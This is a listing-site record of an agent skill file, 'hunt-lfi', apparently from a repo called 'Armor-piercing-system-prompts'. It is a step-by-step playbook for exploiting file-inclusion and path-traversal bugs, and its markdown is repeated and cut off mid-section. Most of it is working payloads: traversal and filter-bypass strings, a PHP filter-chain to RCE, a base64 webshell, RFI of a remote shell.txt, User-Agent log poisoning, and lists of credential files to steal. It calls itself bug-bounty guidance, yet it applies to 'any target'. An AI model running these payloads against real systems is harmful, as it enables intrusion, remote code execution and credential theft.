[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"skill:01M7EKH88Y5FXGC8F708YBBA6B":3,"skill-same:01M7EKH88Y5FXGC8F708YBBA6B":48},{"skillNo":4,"name":5,"nameZh":6,"description":7,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":16,"categories":17,"keywords":18,"publishedAt":19,"linkOnly":20,"markdownContent":21,"markdownBody":22,"frontMatter":23,"refName":26,"commitSha":27,"skillDirectory":28,"forksCount":29,"repositoryHtmlUrl":30,"repositoryHomepageUrl":6,"ownerHtmlUrl":31,"ownerBlogUrl":6,"ownerDescription":32,"updatedAt":33,"install":34,"resources":47},"01M7EKH88Y5FXGC8F708YBBA6B","hunt-lfi",null,"Hunt Local File Inclusion (LFI), Remote File Inclusion (RFI), and Path Traversal — \u002Fetc\u002Fpasswd read, log poisoning → RCE, PHP filter-chain RCE (no upload needed), php:\u002F\u002F \u002F data:\u002F\u002F \u002F zip:\u002F\u002F \u002F phar:\u002F\u002F wrappers, RFI via allow_url_include, directory traversal read\u002Fwrite\u002Fdelete. Covers OOB\u002Fblind LFI confirmation and false-positive discipline. Use when hunting file-include or path-traversal bugs on any target.","lza6\u002FArmor-piercing-system-prompts","lza6","https:\u002F\u002Favatars.githubusercontent.com\u002Fu\u002F128880206?v=4","01M7EB3K7WPX5T28EJ2NVHE6EG","Chinese-tingfeng","01M7EB3K97E1KQ16QWKJMFNGX8",11,"MIT","https:\u002F\u002Fgithub.com\u002Flza6\u002FArmor-piercing-system-prompts\u002Fblob\u002Fmain\u002F04-安全渗透\u002Fhunt-lfi\u002FSKILL.md",[],[],"2026-11-15 14:19:17",false,"---\nname: hunt-lfi\ndescription: \"Hunt Local File Inclusion (LFI), Remote File Inclusion (RFI), and Path Traversal — \u002Fetc\u002Fpasswd read, log poisoning → RCE, PHP filter-chain RCE (no upload needed), php:\u002F\u002F \u002F data:\u002F\u002F \u002F zip:\u002F\u002F \u002F phar:\u002F\u002F wrappers, RFI via allow_url_include, directory traversal read\u002Fwrite\u002Fdelete. Covers OOB\u002Fblind LFI confirmation and false-positive discipline. Use when hunting file-include or path-traversal bugs on any target.\"\nsources: hackerone_public, synacktiv_research, portswigger_research\nreport_count: 24\n---\n\n# HUNT-LFI — Local \u002F Remote File Inclusion & Path Traversal\n\n## Crown Jewel Targets\n\nLFI that reaches code execution is Critical. Pure file-read is High when it exposes secrets (`.env`, `wp-config.php`, private keys, cloud creds), Medium when it only reads non-sensitive files.\n\n**Highest-value chains (in rough order of reliability in 2026):**\n- **PHP filter-chain → RCE** — the modern default. A bare `php:\u002F\u002Ffilter` *file-read* primitive is upgraded to RCE with **no upload endpoint and no writable file** by chaining `iconv` conversions to forge an arbitrary PHP payload in-memory (Synacktiv, 2022). See the dedicated section below. This is the single most impactful thing to try and the most-missed.\n- **Log poisoning → RCE** — inject PHP into an Apache\u002FNginx log (User-Agent \u002F URL path), then include the log. Increasingly blocked by `open_basedir` and unreadable log perms, so verify the log is *readable* first.\n- **PHP wrappers → source disclosure** — `php:\u002F\u002Ffilter\u002Fconvert.base64-encode\u002Fresource=index.php` leaks source; read source to find more LFI sinks, secrets, and the include base path.\n- **RFI → RCE** — when `allow_url_include=On`, `?file=http:\u002F\u002FOOB\u002Fshell.txt` pulls and executes remote code. Rare on modern configs but trivially Critical when present.\n- **phar:\u002F\u002F deserialization** — a crafted PHAR + any unserialize-on-metadata sink → object-injection RCE.\n- **zip:\u002F\u002F \u002F data:\u002F\u002F chains** and **session\u002Fupload poisoning** when filters block wrappers.\n\n---\n\n## OOB \u002F Blind-LFI Confirmation Gate (Read First)\n\nLFI is frequently **blind**: the included content is parsed\u002Fexecuted but never reflected, or the page swallows the file into a template you can't see. Do **not** claim LFI from indirect signals alone.\n\n### What is NOT confirmation\n- A different status code or error string for `..\u002F..\u002Fetc\u002Fpasswd` vs a normal value. The app may be string-matching `..\u002F` and returning a canned 403\u002F500 without ever touching the filesystem.\n- Your input **echoed back** inside an error message (e.g. `failed to open '\u002Fvar\u002Fwww\u002F..\u002F..\u002Fetc\u002Fpasswd'`). That is the path *formatter*, not proof the file was read. A genuine read shows file **contents**, not your path.\n- A page that \"looks different.\" Reflected-input or WAF block pages produce diffs unrelated to a real read.\n\n### What IS confirmation\n- **Direct read:** actual file *contents* appear (real `root:x:0:0:` line, real PHP source after base64-decoding the filter output).\n- **Blind read via OOB exfil:** use a php:\u002F\u002Ffilter or XXE-style chain whose payload performs a DNS\u002FHTTP callback to your **Burp Collaborator** subdomain, or use an `expect:\u002F\u002F` \u002F wrapper that triggers an outbound request. A unique-per-sink Collaborator hit (DNS + HTTP, with the server's source IP) proves the include ran.\n- **Blind read via differential\u002Ftiming:** include a file you *know* exists and is large (`\u002Fetc\u002Fpasswd`) vs one that does not (`\u002Fetc\u002Fpasswd_nope_\u003Crand>`). Stable, repeatable response-length or latency delta = real filesystem access. Confirm with a third known-good path to rule out coincidence.\n\n### Default workflow\n1. Pick a **unique marker** target: prefer a file whose content you can fingerprint exactly (`\u002Fetc\u002Fpasswd` → grep `^root:`). For blind, use a php:\u002F\u002Ffilter base64 read and decode — partial\u002Ftruncated base64 still decodes to recognizable source.\n2. Generate a sub-tagged Collaborator payload per sink (`lfi-page.\u003Ccollab>`, `lfi-tpl.\u003Ccollab>`) so callbacks identify which parameter fired.\n3. Send, wait 30–120s, poll OOB.\n4. Claim LFI **only** after a content match, a Collaborator callback, or a stable triple-confirmed timing\u002Flength delta. Echoed paths and lone status-code changes are retracted.\n\n---\n\n## Attack Surface Signals\n\n### URL \u002F Body Parameters\n```\n?page=  ?file=  ?path=  ?template=  ?view=  ?lang=  ?module=\n?include=  ?doc=  ?load=  ?read=  ?content=  ?theme=  ?layout=\n?component=  ?download=  ?img=  ?pdf=  ?report=  ?style=  ?dir=\nJSON bodies: {\"filename\":...} {\"template\":...} {\"path\":...}\n```\n\n### Technology Stack Signals\n| Signal | Vector |\n|--------|--------|\n| PHP (`X-Powered-By`, `.php`, PHPSESSID) | php:\u002F\u002F filter-chain RCE, phar:\u002F\u002F, zip:\u002F\u002F, data:\u002F\u002F |\n| Apache\u002FNginx logs readable | Log poisoning → RCE (verify readability first) |\n| Apache 2.4.49 \u002F 2.4.50 (`Server:` banner) | CVE-2021-41773 \u002F CVE-2021-42013 traversal → RCE |\n| PHP-CGI on Windows (XAMPP, `php-cgi.exe`) | CVE-2024-4577 arg-injection → RCE |\n| Java servlet (`\u002FWEB-INF\u002F`) | `WEB-INF\u002Fweb.xml`, `classes\u002F`, `application.properties` |\n| Python Flask\u002FDjango | `\u002Fproc\u002Fself\u002Fenviron`, `settings.py`, `SECRET_KEY` |\n| Node.js file-serve \u002F `res.sendFile`, `express.static` | path-traversal read, `require()` traversal |\n| Windows IIS \u002F .NET | `..\\..\\web.config`, `C:\\Windows\\win.ini`, machineKey |\n\n---\n\n## Step-by-Step Methodology\n\n### Phase 1 — Identify Candidates\n```bash\ncat recon\u002F$TARGET\u002Furls.txt | gf lfi > recon\u002F$TARGET\u002Flfi-candidates.txt\ngrep -E \"(\\?|&)(page|file|path|template|view|lang|module|include|doc|load|read|content|download|img|pdf|report|dir)=\" \\\n  recon\u002F$TARGET\u002Furls.txt\nffuf -u \"https:\u002F\u002F$TARGET\u002FFUZZ\" -w ~\u002Fwordlists\u002Flfi-paths.txt -mc 200,301,302\n```\n\n### Phase 2 — Path Traversal (read)\n```bash\n?file=..\u002F..\u002F..\u002Fetc\u002Fpasswd\n?file=....\u002F\u002F....\u002F\u002F....\u002F\u002Fetc\u002Fpasswd            # ..\u002F stripping once → ....\u002F\u002F survives\n?file=..%2f..%2f..%2fetc%2fpasswd             # single URL-encode\n?file=..%252f..%252f..%252fetc%252fpasswd     # double encode (decoded twice server-side)\n?file=%2e%2e%2f%2e%2e%2fetc%2fpasswd          # encode dots too\n?file=\u002Fetc\u002Fpasswd%00.png                      # null byte — PHP \u003C 5.3.4 only\n?file=....\\\u002F....\\\u002Fetc\\\u002Fpasswd                  # mixed slash\n# Prefix-forced base (app prepends \u002Fvar\u002Fwww\u002F): pad with extra ..\u002F, or absolute path if no prefix\n# UTF-8 overlong: %c0%ae%c0%ae%2f  (legacy servers)\n```\n```bash\n# Windows\n?file=..\\..\\..\\windows\\win.ini\n?file=..%5c..%5c..%5cwindows%5cwin.ini\n?file=C:\\inetpub\\wwwroot\\web.config\n```\n\n### Phase 3 — PHP Wrappers (source disclosure)\n```bash\n?file=php:\u002F\u002Ffilter\u002Fconvert.base64-encode\u002Fresource=index.php   # decode base64 → source\n?file=php:\u002F\u002Ffilter\u002Fread=string.rot13\u002Fresource=config.php\n?file=php:\u002F\u002Ffilter\u002Fconvert.base64-encode\u002Fresource=..\u002Fapp\u002FConfig.php\n# Always base64-encode source reads: raw \u003C?php ... ?> is parsed\u002Fswallowed and you see nothing.\n```\n\n### Phase 4 — PHP Filter-Chain → RCE (no upload, no writable file)\nThe modern flagship technique (Synacktiv, 2022). If you have a `php:\u002F\u002F`-capable LFI that *reads* a file, you can also *execute* attacker-chosen PHP. `iconv` charset conversions, chained inside `php:\u002F\u002Ffilter`, emit controlled bytes that prepend to the resource until a full `\u003C?php ... ?>` payload is forged — then `include()` runs it. **No upload endpoint, no log access, no writable path required.**\n\n```bash\n# Generate the chain (public tool, no CVE — it abuses documented iconv behaviour):\n#   git clone https:\u002F\u002Fgithub.com\u002Fsynacktiv\u002Fphp_filter_chain_generator\npython3 php_filter_chain_generator.py --chain '\u003C?php system($_GET[\"c\"]); ?>'\n# Tool prints a long php:\u002F\u002Ffilter|convert.iconv.*|...|resource=php:\u002F\u002Ftemp string.\n# Drop it into the sink:\n?file=php:\u002F\u002Ffilter\u002Fconvert.iconv.UTF8.CSISO2022KR|...\u003Clong-chain>...|convert.base64-decode\u002Fresource=php:\u002F\u002Ftemp&c=id\n```\nNotes \u002F gotchas:\n- Requires the include sink to accept the `php:\u002F\u002Ffilter` scheme (most LFI sinks calling `include`\u002F`require`\u002F`file_get_contents` on the param do).\n- Payloads get **long** (10–50KB). If the param is length-capped or WAF-blocked on size, move it to a POST body, or use a minimal payload (`\u003C?=`shorthand`?>`).\n- For blind targets, set the chain payload to a Collaborator callback (`\u003C?php file_get_contents(\"http:\u002F\u002Fx.\u003Ccollab>\u002F\".`id`);?>`) to confirm execution OOB.\n- This works even when log poisoning fails (unreadable logs, `open_basedir`). Try it whenever you have a php:\u002F\u002F filter read.\n\n### Phase 5 — Code-Execution Wrappers (config prerequisites)\n```bash\n# data:\u002F\u002F — executes inline; REQUIRES allow_url_include=On\n?file=data:\u002F\u002Ftext\u002Fplain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjJ10pOz8+&c=id   # \u003C?php system($_GET['c']);?>\n\n# php:\u002F\u002Finput — body is treated as the included resource; ALSO REQUIRES allow_url_include=On\n#   POST ?file=php:\u002F\u002Finput    body: \u003C?php system($_GET['c']); ?>\n#   (Same prerequisite as data:\u002F\u002F. Do NOT assume this works on default PHP config.)\n\n# expect:\u002F\u002F — direct command exec; requires the (rare) expect extension loaded\n?file=expect:\u002F\u002Fid\n```\n\n### Phase 6 — Remote File Inclusion (RFI)\nRFI = the include target is a **remote URL**. Prerequisite: `allow_url_include=On` (and `allow_url_fopen=On`). Off by default on modern PHP, but still seen on legacy\u002Fmisconfigured hosts.\n```bash\n# Host a payload you control, then:\n?file=http:\u002F\u002FOOB-HOST\u002Fshell.txt          # shell.txt contains \u003C?php system($_GET['c']); ?>\n?file=https:\u002F\u002FOOB-HOST\u002Fshell.txt?\n?file=ftp:\u002F\u002FOOB-HOST\u002Fshell.txt\n# Detection without RCE: point at a Burp Collaborator HTTP URL. A callback (server IP) = the\n# include fetched remotely → RFI confirmed even if execution is blocked. No callback = not RFI.\n# Bypass appended extension (?file=$x.\".php\"): trailing ? or # to truncate, or ?file=http:\u002F\u002FOOB\u002Fshell\n```\n\n### Phase 7 — Log Poisoning → RCE\n```bash\n# Step 1: inject PHP into a log the include can read\ncurl -s \"https:\u002F\u002F$TARGET\u002F\" -H \"User-Agent: \u003C?php system(\\$_GET['c']); ?>\"\n# Step 2: include it (verify the log is readable first — read it plain before poisoning)\n?file=..\u002F..\u002F..\u002Fvar\u002Flog\u002Fapache2\u002Faccess.log&c=id\n?file=..\u002F..\u002F..\u002Fvar\u002Flog\u002Fnginx\u002Faccess.log&c=id\n?file=\u002Fproc\u002Fself\u002Ffd\u002F0&c=id                  # stdin fd (varies)\n# Candidate logs: \u002Fvar\u002Flog\u002Fapache2\u002Faccess.log \u002Fvar\u002Flog\u002Fhttpd\u002Faccess_log\n#   \u002Fvar\u002Flog\u002Fnginx\u002Faccess.log \u002Fvar\u002Flog\u002Fauth.log (SSH user poisoning) \u002Fproc\u002Fself\u002Fenviron\n```\n\n### Phase 8 — Session \u002F Upload Poisoning\n```bash\n# PHP session: set payload in a stored field (username\u002Fprofile), then include the session file\n?file=\u002Fvar\u002Flib\u002Fphp\u002Fsessions\u002Fsess_\u003CPHPSESSID>&c=id\n?file=\u002Ftmp\u002Fsess_\u003CPHPSESSID>&c=id\n# phar:\u002F\u002F object injection (needs an unserialize-on-metadata sink + any file upload):\n?file=phar:\u002F\u002F\u002Fvar\u002Fwww\u002Fuploads\u002Fevil.jpg     # JPEG magic bytes prepended to a PHAR\n# zip:\u002F\u002F — archive containing the target, or a symlink to \u002Fetc\u002Fpasswd\n?file=zip:\u002F\u002F\u002Fvar\u002Fwww\u002Fuploads\u002Fa.zip%23path\u002Finside.txt\n```\n\n### Phase 8b — Archive-extraction & image-processing sinks (no `?file=` needed)\nTwo LFI\u002Ftraversal surfaces that are not query-parameter file reads:\n- **Zip Slip \u002F tar-symlink escape** — a server that untars\u002Funzips a user-supplied archive follows `..\u002F..\u002F` entry names or embedded symlinks (tar preserves them) to read\u002Fwrite outside the extraction dir. Craft an archive entry named `..\u002F..\u002F..\u002Fetc\u002Fcron.d\u002Fx`, or a symlink pointing at `\u002Fetc\u002Fpasswd`; confirm by writing a unique canary outside the upload dir. Disclosed: reports\u002F1439593, reports\u002F733072, reports\u002F822262.\n- **ImageMagick coder read-sink** — image convert\u002Fthumbnail\u002Favatar features read local files via MSL\u002FMVG coders even with no file parameter: filename\u002Flabel `label:@\u002Fetc\u002Fpasswd`, or an MSL payload (`\u003Cimage xlink:href=\"msl:\u002Fetc\u002Fpasswd\">`) plus `msl:`\u002F`ephemeral:` pseudo-protocols (ImageTragick CVE-2016-3714 family). Disclosed: reports\u002F1858574. Pairs with `hunt-file-upload`.\n\n### Phase 9 — Automation (then manual-confirm everything)\n```bash\nffuf -u \"https:\u002F\u002F$TARGET\u002Fpage.php?file=FUZZ\" -w ~\u002Fwordlists\u002Flfi.txt -mc all -fr \"not found\"\nwfuzz -c -z file,\u002Fusr\u002Fshare\u002Fwfuzz\u002Fwordlist\u002Fvulns\u002Flfi.txt --hh \u003Cbaseline-len> \\\n  \"https:\u002F\u002F$TARGET\u002Fpage.php?file=FUZZ\"\ndotdotpwn -m http -h $TARGET -o unix\n# Burp: Intruder over the bypass table; Collaborator for blind\u002FRFI confirmation.\n```\n\n---\n\n## Named CVEs \u002F Public Techniques (grounding)\n\nVerified, correctly-attributed references for the patterns above:\n- **PHP filter-chain to RCE** — Synacktiv research (2022); `php_filter_chain_generator`. Not a CVE; an abuse of documented `iconv` behaviour. The reason a bare file-read upgrades to Critical.\n- **CVE-2021-41773** — Apache HTTP Server 2.4.49 path traversal (`%2e` in normalized path) → file read, and RCE when `mod_cgi` is enabled.\n- **CVE-2021-42013** — Apache HTTP Server 2.4.50 incomplete fix for the above (double-encoded `%%32%65`) → traversal\u002FRCE.\n- **CVE-2024-4577** — PHP-CGI argument injection on Windows (Best-Fit encoding); reachable on XAMPP-style stacks, chains from file-serve to RCE.\n\n> Grounding note: this skill is built from 31 disclosed LFI\u002Fpath-traversal reports. When citing a specific HackerOne report in your write-up, link the exact report URL\u002FID you used — do **not** paraphrase a report ID from memory. A wrong ID is worse than none.\n\n---\n\n## Sensitive Files to Read\n```\n# Linux\n\u002Fetc\u002Fpasswd  \u002Fetc\u002Fhosts  \u002Fetc\u002Fshadow (rarely readable)\n\u002Fproc\u002Fself\u002Fenviron  \u002Fproc\u002Fself\u002Fcmdline  \u002Fproc\u002Fself\u002Fstatus\n\u002Fvar\u002Fwww\u002Fhtml\u002F.env  \u002Fvar\u002Fwww\u002Fhtml\u002Fconfig.php  \u002Fvar\u002Fwww\u002Fhtml\u002Fwp-config.php\n\u002Fhome\u002F*\u002F.ssh\u002Fid_rsa  \u002Froot\u002F.ssh\u002Fid_rsa  \u002Froot\u002F.bash_history\n\u002Fvar\u002Fwww\u002Fhtml\u002Fapp\u002Fconfig\u002Fparameters.yml   # Symfony\n.git\u002Fconfig  .git\u002FHEAD  composer.json  package.json\n# App \u002F cloud secrets\n\u002Fproc\u002Fself\u002Fenviron  ~\u002F.aws\u002Fcredentials  ~\u002F.docker\u002Fconfig.json  \u002Frun\u002Fsecrets\u002F*\n# Windows \u002F .NET\nC:\\Windows\\win.ini  C:\\inetpub\\wwwroot\\web.config  ..\\..\\web.config\nC:\\Windows\\System32\\inetsrv\\config\\applicationHost.config\n```\n\n---\n\n## Bypass Table\n\n| Filter | Bypass |\n|--------|--------|\n| Strips `..\u002F` once | `....\u002F\u002F` or `....\u002F\\` (re-forms `..\u002F` after strip) |\n| URL-decodes once | `%252f` (double-encode `\u002F`), `%252e` for dots |\n| Decodes once, blocks `..` | Encode dots: `%2e%2e%2f` \u002F overlong `%c0%ae` (legacy) |\n| Appends `.php` to input | `?` or `#` truncation; null byte `%00` (PHP \u003C 5.3.4) |\n| Blocks `php:\u002F\u002F` scheme | try `PHP:\u002F\u002F`, `pHp:\u002F\u002F`, or `data:\u002F\u002F` \u002F `expect:\u002F\u002F` |\n| Prepends fixed base dir | enough `..\u002F` to escape; or absolute path if no base prepend |\n| Blocks `\u002Fetc\u002Fpasswd` literal | path-truncation, `\u002Fetc\u002F.\u002Fpasswd`, `\u002Fetc\u002F\u002Fpasswd` |\n| WAF on long filter-chains | move chain to POST body \u002F minimize payload |\n| Windows | `..\\..\\..\\windows\\win.ini`, `..%5c..%5c` |\n\n---\n\n## Chain Table\n\n| LFI primitive | Chain to | Impact |\n|---------------|----------|--------|\n| `php:\u002F\u002Ffilter` read | **filter-chain RCE (Phase 4)** | RCE with no upload — **Critical** |\n| File read | `.env` \u002F `config.php` \u002F `wp-config.php` | DB creds, API keys → backend takeover |\n| File read | `\u002Fproc\u002Fself\u002Fenviron`, `~\u002F.aws\u002Fcredentials` | env secrets, cloud keys → SSRF\u002FIAM pivot |\n| Remote URL include | RFI (`allow_url_include`) | direct RCE — **Critical** |\n| File read + upload | phar:\u002F\u002F \u002F log \u002F session poison | RCE — **Critical** |\n| Source disclosure | full app source | hardcoded secrets, new sinks, machineKey |\n\n---\n\n## Validation Discipline\n\n**Direct-read proof (not a false positive):**\n- Show real *contents*, not your echoed path. `\u002Fetc\u002Fpasswd` must contain a literal `root:x:0:0:root:\u002Froot:` line. Diff the response against a known-good param value — the delta must be the file body, not a WAF\u002Ferror page.\n- For source reads, the **base64 must decode to valid PHP**. A garbage\u002Fempty decode = no real read.\n- Rule out reflection: confirm the marker text is not simply your input bounced back. Request `\u002Fetc\u002Fpasswd` and `\u002Fetc\u002Fpasswd_\u003Crand>` (non-existent) — only the real file returns content.\n\n**Blind \u002F OOB proof:**\n- No reflection? Use a php:\u002F\u002Ffilter-chain or RFI payload that calls back to a **unique Burp Collaborator subdomain**. Require a DNS + HTTP hit with the server's source IP before claiming the include executed. Sub-tag per sink.\n- Timing\u002Flength blind: triple-confirm a stable delta (known-large file vs missing file vs second known file). One-off deltas are noise — retract.\n\n**Partial \u002F truncated reads:**\n- Templating may HTML-escape or cut the file. Use `php:\u002F\u002Ffilter\u002Fconvert.base64-encode` so even a truncated read decodes to recognizable bytes; report exactly what you recovered, not what you assume is there.\n\n**RCE proof:** show command output you control — `id` \u002F `whoami` \u002F `hostname` reflected, or an OOB callback from inside the executed payload (`curl http:\u002F\u002F\u003Ccollab>\u002F`). \"The payload was accepted\" is not RCE.\n\n**Severity:**\n- Non-sensitive file read: **Medium**\n- File read exposing DB creds \u002F API keys \u002F private keys \u002F cloud creds: **High**\n- RCE via filter-chain \u002F RFI \u002F log \u002F session \u002F phar \u002F CVE: **Critical**\n","# HUNT-LFI — Local \u002F Remote File Inclusion & Path Traversal\n\n## Crown Jewel Targets\n\nLFI that reaches code execution is Critical. Pure file-read is High when it exposes secrets (`.env`, `wp-config.php`, private keys, cloud creds), Medium when it only reads non-sensitive files.\n\n**Highest-value chains (in rough order of reliability in 2026):**\n- **PHP filter-chain → RCE** — the modern default. A bare `php:\u002F\u002Ffilter` *file-read* primitive is upgraded to RCE with **no upload endpoint and no writable file** by chaining `iconv` conversions to forge an arbitrary PHP payload in-memory (Synacktiv, 2022). See the dedicated section below. This is the single most impactful thing to try and the most-missed.\n- **Log poisoning → RCE** — inject PHP into an Apache\u002FNginx log (User-Agent \u002F URL path), then include the log. Increasingly blocked by `open_basedir` and unreadable log perms, so verify the log is *readable* first.\n- **PHP wrappers → source disclosure** — `php:\u002F\u002Ffilter\u002Fconvert.base64-encode\u002Fresource=index.php` leaks source; read source to find more LFI sinks, secrets, and the include base path.\n- **RFI → RCE** — when `allow_url_include=On`, `?file=http:\u002F\u002FOOB\u002Fshell.txt` pulls and executes remote code. Rare on modern configs but trivially Critical when present.\n- **phar:\u002F\u002F deserialization** — a crafted PHAR + any unserialize-on-metadata sink → object-injection RCE.\n- **zip:\u002F\u002F \u002F data:\u002F\u002F chains** and **session\u002Fupload poisoning** when filters block wrappers.\n\n---\n\n## OOB \u002F Blind-LFI Confirmation Gate (Read First)\n\nLFI is frequently **blind**: the included content is parsed\u002Fexecuted but never reflected, or the page swallows the file into a template you can't see. Do **not** claim LFI from indirect signals alone.\n\n### What is NOT confirmation\n- A different status code or error string for `..\u002F..\u002Fetc\u002Fpasswd` vs a normal value. The app may be string-matching `..\u002F` and returning a canned 403\u002F500 without ever touching the filesystem.\n- Your input **echoed back** inside an error message (e.g. `failed to open '\u002Fvar\u002Fwww\u002F..\u002F..\u002Fetc\u002Fpasswd'`). That is the path *formatter*, not proof the file was read. A genuine read shows file **contents**, not your path.\n- A page that \"looks different.\" Reflected-input or WAF block pages produce diffs unrelated to a real read.\n\n### What IS confirmation\n- **Direct read:** actual file *contents* appear (real `root:x:0:0:` line, real PHP source after base64-decoding the filter output).\n- **Blind read via OOB exfil:** use a php:\u002F\u002Ffilter or XXE-style chain whose payload performs a DNS\u002FHTTP callback to your **Burp Collaborator** subdomain, or use an `expect:\u002F\u002F` \u002F wrapper that triggers an outbound request. A unique-per-sink Collaborator hit (DNS + HTTP, with the server's source IP) proves the include ran.\n- **Blind read via differential\u002Ftiming:** include a file you *know* exists and is large (`\u002Fetc\u002Fpasswd`) vs one that does not (`\u002Fetc\u002Fpasswd_nope_\u003Crand>`). Stable, repeatable response-length or latency delta = real filesystem access. Confirm with a third known-good path to rule out coincidence.\n\n### Default workflow\n1. Pick a **unique marker** target: prefer a file whose content you can fingerprint exactly (`\u002Fetc\u002Fpasswd` → grep `^root:`). For blind, use a php:\u002F\u002Ffilter base64 read and decode — partial\u002Ftruncated base64 still decodes to recognizable source.\n2. Generate a sub-tagged Collaborator payload per sink (`lfi-page.\u003Ccollab>`, `lfi-tpl.\u003Ccollab>`) so callbacks identify which parameter fired.\n3. Send, wait 30–120s, poll OOB.\n4. Claim LFI **only** after a content match, a Collaborator callback, or a stable triple-confirmed timing\u002Flength delta. Echoed paths and lone status-code changes are retracted.\n\n---\n\n## Attack Surface Signals\n\n### URL \u002F Body Parameters\n```\n?page=  ?file=  ?path=  ?template=  ?view=  ?lang=  ?module=\n?include=  ?doc=  ?load=  ?read=  ?content=  ?theme=  ?layout=\n?component=  ?download=  ?img=  ?pdf=  ?report=  ?style=  ?dir=\nJSON bodies: {\"filename\":...} {\"template\":...} {\"path\":...}\n```\n\n### Technology Stack Signals\n| Signal | Vector |\n|--------|--------|\n| PHP (`X-Powered-By`, `.php`, PHPSESSID) | php:\u002F\u002F filter-chain RCE, phar:\u002F\u002F, zip:\u002F\u002F, data:\u002F\u002F |\n| Apache\u002FNginx logs readable | Log poisoning → RCE (verify readability first) |\n| Apache 2.4.49 \u002F 2.4.50 (`Server:` banner) | CVE-2021-41773 \u002F CVE-2021-42013 traversal → RCE |\n| PHP-CGI on Windows (XAMPP, `php-cgi.exe`) | CVE-2024-4577 arg-injection → RCE |\n| Java servlet (`\u002FWEB-INF\u002F`) | `WEB-INF\u002Fweb.xml`, `classes\u002F`, `application.properties` |\n| Python Flask\u002FDjango | `\u002Fproc\u002Fself\u002Fenviron`, `settings.py`, `SECRET_KEY` |\n| Node.js file-serve \u002F `res.sendFile`, `express.static` | path-traversal read, `require()` traversal |\n| Windows IIS \u002F .NET | `..\\..\\web.config`, `C:\\Windows\\win.ini`, machineKey |\n\n---\n\n## Step-by-Step Methodology\n\n### Phase 1 — Identify Candidates\n```bash\ncat recon\u002F$TARGET\u002Furls.txt | gf lfi > recon\u002F$TARGET\u002Flfi-candidates.txt\ngrep -E \"(\\?|&)(page|file|path|template|view|lang|module|include|doc|load|read|content|download|img|pdf|report|dir)=\" \\\n  recon\u002F$TARGET\u002Furls.txt\nffuf -u \"https:\u002F\u002F$TARGET\u002FFUZZ\" -w ~\u002Fwordlists\u002Flfi-paths.txt -mc 200,301,302\n```\n\n### Phase 2 — Path Traversal (read)\n```bash\n?file=..\u002F..\u002F..\u002Fetc\u002Fpasswd\n?file=....\u002F\u002F....\u002F\u002F....\u002F\u002Fetc\u002Fpasswd            # ..\u002F stripping once → ....\u002F\u002F survives\n?file=..%2f..%2f..%2fetc%2fpasswd             # single URL-encode\n?file=..%252f..%252f..%252fetc%252fpasswd     # double encode (decoded twice server-side)\n?file=%2e%2e%2f%2e%2e%2fetc%2fpasswd          # encode dots too\n?file=\u002Fetc\u002Fpasswd%00.png                      # null byte — PHP \u003C 5.3.4 only\n?file=....\\\u002F....\\\u002Fetc\\\u002Fpasswd                  # mixed slash\n# Prefix-forced base (app prepends \u002Fvar\u002Fwww\u002F): pad with extra ..\u002F, or absolute path if no prefix\n# UTF-8 overlong: %c0%ae%c0%ae%2f  (legacy servers)\n```\n```bash\n# Windows\n?file=..\\..\\..\\windows\\win.ini\n?file=..%5c..%5c..%5cwindows%5cwin.ini\n?file=C:\\inetpub\\wwwroot\\web.config\n```\n\n### Phase 3 — PHP Wrappers (source disclosure)\n```bash\n?file=php:\u002F\u002Ffilter\u002Fconvert.base64-encode\u002Fresource=index.php   # decode base64 → source\n?file=php:\u002F\u002Ffilter\u002Fread=string.rot13\u002Fresource=config.php\n?file=php:\u002F\u002Ffilter\u002Fconvert.base64-encode\u002Fresource=..\u002Fapp\u002FConfig.php\n# Always base64-encode source reads: raw \u003C?php ... ?> is parsed\u002Fswallowed and you see nothing.\n```\n\n### Phase 4 — PHP Filter-Chain → RCE (no upload, no writable file)\nThe modern flagship technique (Synacktiv, 2022). If you have a `php:\u002F\u002F`-capable LFI that *reads* a file, you can also *execute* attacker-chosen PHP. `iconv` charset conversions, chained inside `php:\u002F\u002Ffilter`, emit controlled bytes that prepend to the resource until a full `\u003C?php ... ?>` payload is forged — then `include()` runs it. **No upload endpoint, no log access, no writable path required.**\n\n```bash\n# Generate the chain (public tool, no CVE — it abuses documented iconv behaviour):\n#   git clone https:\u002F\u002Fgithub.com\u002Fsynacktiv\u002Fphp_filter_chain_generator\npython3 php_filter_chain_generator.py --chain '\u003C?php system($_GET[\"c\"]); ?>'\n# Tool prints a long php:\u002F\u002Ffilter|convert.iconv.*|...|resource=php:\u002F\u002Ftemp string.\n# Drop it into the sink:\n?file=php:\u002F\u002Ffilter\u002Fconvert.iconv.UTF8.CSISO2022KR|...\u003Clong-chain>...|convert.base64-decode\u002Fresource=php:\u002F\u002Ftemp&c=id\n```\nNotes \u002F gotchas:\n- Requires the include sink to accept the `php:\u002F\u002Ffilter` scheme (most LFI sinks calling `include`\u002F`require`\u002F`file_get_contents` on the param do).\n- Payloads get **long** (10–50KB). If the param is length-capped or WAF-blocked on size, move it to a POST body, or use a minimal payload (`\u003C?=`shorthand`?>`).\n- For blind targets, set the chain payload to a Collaborator callback (`\u003C?php file_get_contents(\"http:\u002F\u002Fx.\u003Ccollab>\u002F\".`id`);?>`) to confirm execution OOB.\n- This works even when log poisoning fails (unreadable logs, `open_basedir`). Try it whenever you have a php:\u002F\u002F filter read.\n\n### Phase 5 — Code-Execution Wrappers (config prerequisites)\n```bash\n# data:\u002F\u002F — executes inline; REQUIRES allow_url_include=On\n?file=data:\u002F\u002Ftext\u002Fplain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjJ10pOz8+&c=id   # \u003C?php system($_GET['c']);?>\n\n# php:\u002F\u002Finput — body is treated as the included resource; ALSO REQUIRES allow_url_include=On\n#   POST ?file=php:\u002F\u002Finput    body: \u003C?php system($_GET['c']); ?>\n#   (Same prerequisite as data:\u002F\u002F. Do NOT assume this works on default PHP config.)\n\n# expect:\u002F\u002F — direct command exec; requires the (rare) expect extension loaded\n?file=expect:\u002F\u002Fid\n```\n\n### Phase 6 — Remote File Inclusion (RFI)\nRFI = the include target is a **remote URL**. Prerequisite: `allow_url_include=On` (and `allow_url_fopen=On`). Off by default on modern PHP, but still seen on legacy\u002Fmisconfigured hosts.\n```bash\n# Host a payload you control, 